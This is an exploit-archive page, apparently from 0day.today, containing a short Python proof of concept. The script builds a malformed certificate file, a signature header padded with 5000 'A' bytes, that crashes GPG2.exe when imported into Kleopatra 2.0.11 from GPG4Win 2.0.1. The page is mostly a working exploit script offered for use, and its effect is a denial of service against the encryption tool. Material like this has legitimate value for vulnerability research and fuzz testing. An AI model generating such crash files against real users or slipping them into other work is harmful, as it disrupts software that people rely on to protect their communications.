GPG2/Kleopatra 2.0.11 malformed certificate PoC

===============================================
GPG2/Kleopatra 2.0.11 malformed certificate PoC
===============================================


# Title: GPG2/Kleopatra 2.0.11 malformed certificate PoC
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dr_IDE
# Published: 2009-10-21
# Verified: yes

view source
print?
#!/usr/bin/env python
 
################################################################
#
# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC
# Note:     Part of the GPG4Win Package v2.0.1
# Found By: Dr_IDE
# Tested On:    7RC, XPSP3
# Usage:    Import the Cert into Kleopatra, GPG2.exe Crashes
#
################################################################
 
# Seems to only check for the presense of this signature
cert  = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20");
cert += ("\x41" * 5000);
 
try:
    print ("[*] Creating evil GPG cert.");
    f1 = open("gpg2_evil_cert.gpg","w");
    f1.write(cert);
    f1.close();
    print ("[*] File created successfully. Import it.");
 
except:
    print ("[-] Error.");





#  0day.today [2018-01-02]  #